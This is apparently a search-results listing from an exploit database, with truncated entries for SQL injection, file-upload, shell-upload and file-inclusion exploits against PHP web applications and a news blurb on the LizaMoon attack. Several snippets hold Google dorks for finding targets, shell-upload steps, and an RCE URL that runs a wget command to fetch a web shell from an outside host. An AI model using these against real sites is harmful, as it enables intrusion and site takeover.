2723 matches found
Leading Edge Technology Solutions SQL Injection
========================================================================= Leading Edge Technology Solutions L.E.T.S SQL-i Vulnerability ========================================================================== +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+= +=+=+=...
Widespread LizaMoon Web Attacks Push Rogue Antivirus
Security firms are warning about a fast-spreading Web based attack that has been linked to the installation of rogue anti virus products. More than 300,000 Web sites have been compromised in a campaign dubbed “LizaMoon,” and are now serving up malicious links to rogue antivirus products, accordin...
Small Pirate <= 2.3 (avatar) Remote PHP File Execute PoC
Exploit for php platform in category web applications Exploit Title: Small Pirate Content of pwned.txt /home146/sub011/sc78626-TZRV/xxxxxxxxx.org/poc.php VICTIM: 207.182.149.243 info: Mozilla/5.0 X11; U; Linux i686; es-AR; rv:1.9.2.13 Gecko/20101206 Ubuntu/10.04 lucid Firefox/3.6.13 language:...
WordPress Plugin User Photo Component - Arbitrary File Upload
WordPress Plugin User Photo Component - Arbitrary File Upload Exploit Title: WordPress User Photo Component Remote File Upload Vulnerability Google Dork: inurl:"/wp-content/uploads/userphoto/" Date: 17/FEB/2011 Author: ADVtools Software Link: http://wordpress.org/extend/plugins/user-photo/ Versio...
Social Engine 4.x (Music Plugin) Arbitrary File Upload Vulnerability
Exploit Title: Social Engine 4.x Music Plugin Arbitrary File Upload Google Dork: inurl:"user/auth/forgot" Date: 22/12/2010 Author: MyDoom Moroccan Hacker Contact: [email protected] Software Link: http://http://www.socialengine.net Version: Social Engine 4.x should work on previous versions but...
Social Engine 4.x (Music Plugin) Arbitrary File Upload Vulnerability
Exploit for php platform in category web applications Exploit Title: Social Engine 4.x Music Plugin Arbitrary File Upload Google Dork: inurl:"user/auth/forgot" Date: 22/12/2010 Author: MyDoom Moroccan Hacker Contact: email protected Software Link: http://http://www.socialengine.net Version: Socia...
Multiple vulnerabilities in TYPO3 Core
It has been discovered that TYPO3 Core is vulnerable to Arbitrary Code Execution, Path Traversal, Cross-Site Scripting XSS, SQL injection and Information Disclosure. Component Type: TYPO3 Core Affected Versions: 4.2.15 and below, 4.3.8 and below, 4.4.4 and below Vulnerability Types: Arbitrary Cod...
Symantec Endpoint Protection File Overwrite
SUMMARY Symantec Endpoint Protection SEP Manager reporting module allows a php file overwrite from an authorized client that could potentially allow execution of arbitrary code on the server-side. AFFECTED PRODUCTS Product | Version | Solution ---|---|--- Symantec Endpoint Protection | 11.x |...
Pandora FMS <= 3.1 Mullti Vulnerability
Exploit for php platform in category web applications ======================================= Pandora FMS = 3.1 Mullti Vulnerability ======================================= Path Traversal: PHP File Inclusion or RFI/LFI: Remote/Local file inclusion - CVE-2010-4281 -CVE-2010-4282 - CVSS 8.5/10...
Pandora Fms 3.1 - Directory Traversal Local File Inclusion
Pandora Fms 3.1 - Directory Traversal Local File Inclusion + Introduction Pandora FMS for Pandora Flexible Monitoring System is a software solution for monitoring computer networks. It allows monitoring in a visual way the status and performance of several parameters from different operating...
Tastydir 1.2 (1216) - Multiple Vulnerabilities
Exploit Title: Tastydir = 1216 folder creation vuln Date: Oct 17 2010 Author: R Software Link: http://codecanyon.net/item/tastydir-an-ajax-file-manager-and-dir-listing/117167 Version: 1216 Tested on: Ubuntu 10.10 Information: Tastydir is a cross-platform PHP file management system which allows yo...
Joomla Remository Remote Shell Upload
I N F O Exploit Title: Joomla comremository Remote Upload File Date: 2010-08-26 Author: J3yk0ob Home : http://www.J3yk0ob.com E X P L O I T 1. Register On Site 2. http://www.Target.com/index.php?option=comremository&Itemid=Itemid&func=addfile 3. Add your php file , example : shell.php 4...
iscripts Socialware 2.2.x - Multiple Vulnerabilities
iscripts Socialware 2.2.x - Multiple Vulnerabilities /iScripts SocialWare 2.2.x Multiple Remote Vulnerability Name iScripts SocialWare Vendor http://www.iscripts.com Versions Affected 2.2.x Author Salvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta at...
DBSite w/b Blind SQL Injection Vulnerability
Exploit for php platform in category web applications ============================================ DBSite w/b Blind SQL Injection Vulnerability ============================================ 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, ...
Nigi Studio CMS (XSS/SQL Injection) Multiple Vulnerability
Exploit for php platform in category web applications ========================================================== Nigi Studio CMS XSS/SQL Injection Multiple Vulnerability ==========================================================...
Electronic Book (ebook.php) Blind SQL Injection Vulnerability
Exploit for php platform in category web applications ============================================================= Electronic Book ebook.php Blind SQL Injection Vulnerability ============================================================= @ Exploit Title: Electronic Book ebook.php Blind SQL...
Webiz Shell Upload
Exploit Title: Webiz local SHELL Upload Vulnerability Date: 23-05-2010 Author: kannibal615 Software Link: N/A Version: 2004 Tested on: PHP CVE : N/A Code : @@ @@ @@@@@@ @@ @@ @@@@ @@@@@@@ @@ @@ @@@@@@@ @@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@@ @@@@@@@@ @@ @@ @@ @@@@ @@@@@@ @@ @...
NetStart (readnews.php) SQL Injection Vulnerability
Exploit for php platform in category web applications =================================================== NetStart readnews.php SQL Injection Vulnerability =================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /...
AuroraGPT 4 Command Execution
Title : AuroraGPT V4 RCE Vulnerability Author: Amoo Arash Date : 2010-04-11 Version : 4 InformatioN Title : AuroraGPT V4 RCE Vulnerability Author : Amoo Arash ExploiT Vulnerable File : http://127.0.0.1/index.php?view=help&faq=1&ref&cmd=Command ExploiT : wget example.com/shell.txt -O shell.php...
openx advertising system 0DYA-vulnerability warning-the black bar safety net
openx advertising system 0dayoriginal author: YJPS reprint please indicate the Penetration of a foreign station when the discovery and successful use of Using the method first go to the official under a useless plugin and then modify the back to plug in a normal PHP file inserted into a word to...